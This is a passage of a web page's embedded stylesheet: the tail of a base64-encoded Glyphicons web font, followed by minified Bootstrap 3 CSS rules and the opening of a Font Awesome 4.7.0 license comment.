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)format("woff2")}.glyphicon{position:relative;top:1px;display:inline-block;font-family:"Glyphicons Halflings";font-style:normal;font-weight:400;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.glyphicon-search:before{content:""}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{-webkit-tap-highlight-color:rgba(0,0,0,0)}a:focus,a:hover{color:#23527c;text-decoration:underline}a:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}img{vertical-align:middle}.h4,h1,h2,h3,h4{font-family:inherit;font-weight:500;line-height:1.1;color:inherit}h3{margin-top:20px;margin-bottom:10px}.h4{margin-top:10px;margin-bottom:10px}h3{font-size:24px}.h4{font-size:18px}p{margin:0 0 10px}@media (min-width:768px){}.text-center{text-align:center}.text-muted{color:#777}ul{margin-top:0;margin-bottom:10px}.list-inline{padding-left:0;list-style:none;margin-left:-5px}.list-inline>li{display:inline-block;padding-right:5px;padding-left:5px}@media (min-width:768px){}blockquote ol:last-child,blockquote p:last-child,blockquote ul:last-child{margin-bottom:0}code{color:#c7254e}pre{display:block;margin:0 0 10px;color:#333;word-break:break-all;border:1px solid #ccc}.container{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:768px){.container{width:750px}}@media (min-width:992px){.container{width:970px}}@media (min-width:1200px){.container{width:1170px}}.row{margin-right:-15px;margin-left:-15px}.col-md-12,.col-sm-9,.col-xs-12{position:relative;min-height:1px;padding-right:15px;padding-left:15px}.col-xs-12{float:left}@media (min-width:768px){.col-sm-9{float:left}.col-sm-9{width:75%}}@media (min-width:992px){.col-md-12,.col-md-9{float:left}.col-md-12{width:100%}.col-md-9{width:75%}}@media (min-width:1200px){.col-lg-9{float:left}.col-lg-9{width:75%}}@media screen and (max-width:767px){}.form-control{display:block;width:100%;height:34px;padding:6px 12px;font-size:14px;line-height:1.42857143;color:#555;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-webkit-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;-o-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;-webkit-transition:border-color ease-in-out .15s,-webkit-box-shadow ease-in-out .15s;transition:border-color ease-in-out .15s,-webkit-box-shadow ease-in-out .15s;transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s,-webkit-box-shadow ease-in-out .15s}.form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6)}.form-control::-webkit-input-placeholder{color:#999}@media screen and (-webkit-min-device-pixel-ratio:0){}@media (min-width:768px){}@media (min-width:768px){}@media (min-width:768px){}@media (min-width:768px){}.btn{display:inline-block;margin-bottom:0;font-weight:400;text-align:center;white-space:nowrap;vertical-align:middle;-ms-touch-action:manipulation;touch-action:manipulation;cursor:pointer;background-image:none;border:1px solid transparent;padding:6px 12px;font-size:14px;line-height:1.42857143;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.btn.active.focus,.btn.active:focus,.btn.focus,.btn:active.focus,.btn:active:focus,.btn:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn.focus,.btn:focus,.btn:hover{color:#333;text-decoration:none}.btn.active,.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-default{color:#333;background-color:#fff;border-color:#ccc}.btn-default.focus,.btn-default:focus{color:#333;background-color:#e6e6e6;border-color:#8c8c8c}.btn-default:hover{color:#333;background-color:#e6e6e6;border-color:#adadad}.btn-default.active,.btn-default:active,.open>.dropdown-toggle.btn-default{color:#333;background-color:#e6e6e6;background-image:none;border-color:#adadad}.btn-default.active.focus,.btn-default.active:focus,.btn-default.active:hover,.btn-default:active.focus,.btn-default:active:focus,.btn-default:active:hover,.open>.dropdown-toggle.btn-default.focus,.open>.dropdown-toggle.btn-default:focus,.open>.dropdown-toggle.btn-default:hover{color:#333;background-color:#d4d4d4;border-color:#8c8c8c}.btn-success.focus,.btn-success:focus{color:#fff;background-color:#449d44;border-color:#255625}.btn-success:hover{color:#fff;background-color:#449d44;border-color:#398439}.btn-success.active,.btn-success:active,.open>.dropdown-toggle.btn-success{color:#fff;background-color:#449d44;background-image:none;border-color:#398439}.btn-success.active.focus,.btn-success.active:focus,.btn-success.active:hover,.btn-success:active.focus,.btn-success:active:focus,.btn-success:active:hover,.open>.dropdown-toggle.btn-success.focus,.open>.dropdown-toggle.btn-success:focus,.open>.dropdown-toggle.btn-success:hover{color:#fff;background-color:#398439;border-color:#255625}.btn-link{font-weight:400;border-radius:0}.btn-link,.btn-link:active{background-color:transparent;-webkit-box-shadow:none;box-shadow:none}.btn-link,.btn-link:active,.btn-link:focus,.btn-link:hover{border-color:transparent}.btn-link:focus,.btn-link:hover{color:#23527c;text-decoration:underline;background-color:transparent}.btn-lg{padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}.collapse{display:none}@media (min-width:768px){}.nav{padding-left:0;margin-bottom:0;list-style:none}.nav>li{position:relative;display:block}.nav>li>a{position:relative;display:block;padding:10px 15px}.nav>li>a:focus,.nav>li>a:hover{text-decoration:none;background-color:#eee}@media (min-width:768px){}@media (min-width:768px){}@media (min-width:768px){}@media (min-width:768px){}.navbar{min-height:50px;margin-bottom:20px;border:1px solid transparent}@media (min-width:768px){.navbar{border-radius:4px}}@media (min-width:768px){.navbar-header{float:left}}.navbar-collapse{padding-right:15px;padding-left:15px;overflow-x:visible;border-top:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 0 rgba(255,255,255,.1);-webkit-overflow-scrolling:touch}@media (min-width:768px){.navbar-collapse{width:auto;border-top:0;-webkit-box-shadow:none;box-shadow:none}.navbar-collapse.collapse{display:block!important;height:auto!important;padding-bottom:0;overflow:visible!important}.navbar-fixed-top .navbar-collapse{padding-right:0;padding-left:0}}.navbar-fixed-top{position:fixed;right:0;left:0;z-index:1030}.navbar-fixed-top .navbar-collapse{max-height:340px}@media (max-device-width:480px) and (orientation:landscape){.navbar-fixed-top .navbar-collapse{max-height:200px}}@media (min-width:768px){.navbar-fixed-top{border-radius:0}}.navbar-fixed-top{top:0;border-width:0 0 1px}@media (min-width:768px){}@media (min-width:768px){}.navbar-brand{padding:15px 15px;font-size:18px;line-height:20px}.navbar-brand:focus,.navbar-brand:hover{text-decoration:none}@media (min-width:768px){.navbar>.container .navbar-brand{margin-left:-15px}}@media (min-width:768px){}.navbar-nav{margin:7.5px -15px}.navbar-nav>li>a{padding-top:10px;padding-bottom:10px;line-height:20px}@media (max-width:767px){}@media (min-width:768px){.navbar-nav{float:left;margin:0}.navbar-nav>li{float:left}.navbar-nav>li>a{padding-top:15px;padding-bottom:15px}}.navbar-form{padding:10px 15px;margin-right:-15px;margin-left:-15px;border-top:1px solid transparent;border-bottom:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.1);margin-top:8px;margin-bottom:8px}@media (min-width:768px){.navbar-form .form-control{display:inline-block;width:auto;vertical-align:middle}}@media (max-width:767px){}@media (min-width:768px){.navbar-form{width:auto;padding-top:0;padding-bottom:0;margin-right:0;margin-left:0;border:0;-webkit-box-shadow:none;box-shadow:none}}@media (min-width:768px){}@media (min-width:768px){}@media (max-width:767px){}.navbar-inverse .navbar-brand{color:#9d9d9d}.navbar-inverse .navbar-brand:focus,.navbar-inverse .navbar-brand:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav>li>a:focus,.navbar-inverse .navbar-nav>li>a:hover{color:#fff;background-color:transparent}@media (max-width:767px){}.navbar-inverse .btn-link:focus,.navbar-inverse .btn-link:hover{color:#fff}@media screen and (min-width:768px){}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@media (min-width:768px){}@media (min-width:992px){}@media all and (transform-3d),(-webkit-transform-3d){}@media screen and (min-width:768px){}.btn-group-vertical>.btn-group:after,.btn-group-vertical>.btn-group:before,.btn-toolbar:after,.btn-toolbar:before,.clearfix:after,.clearfix:before,.container-fluid:after,.container-fluid:before,.container:after,.container:before,.dl-horizontal dd:after,.dl-horizontal dd:before,.form-horizontal .form-group:after,.form-horizontal .form-group:before,.modal-footer:after,.modal-footer:before,.modal-header:after,.modal-header:before,.nav:after,.nav:before,.navbar-collapse:after,.navbar-collapse:before,.navbar-header:after,.navbar-header:before,.navbar:after,.navbar:before,.pager:after,.pager:before,.panel-body:after,.panel-body:before,.row:after,.row:before{display:table;content:" "}.btn-group-vertical>.btn-group:after,.btn-toolbar:after,.clearfix:after,.container-fluid:after,.container:after,.dl-horizontal dd:after,.form-horizontal .form-group:after,.modal-footer:after,.modal-header:after,.nav:after,.navbar-collapse:after,.navbar-header:after,.navbar:after,.pager:after,.panel-body:after,.row:after{clear:both}.pull-right{float:right!important}@-ms-viewport{width:device-width}@media (max-width:767px){}@media (max-width:767px){}@media (max-width:767px){}@media (max-width:767px){}@media (min-width:768px) and (max-width:991px){}@media (min-width:768px) and (max-width:991px){}@media (min-width:768px) and (max-width:991px){}@media (min-width:768px) and (max-width:991px){}@media (min-width:992px) and (max-width:1199px){}@media (min-width:992px) and (max-width:1199px){}@media (min-width:992px) and (max-width:1199px){}@media (min-width:992px) and (max-width:1199px){}@media (min-width:1200px){}@media (min-width:1200px){}@media (min-width:1200px){}@media (min-width:1200px){}@media (max-width:767px){.hidden-xs{display:none!important}}@media (min-width:768px) and (max-width:991px){.hidden-sm{display:none!important}}@media (min-width:992px) and (max-width:1199px){}@media (min-width:1200px){}</style>
<style>/*!
* Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
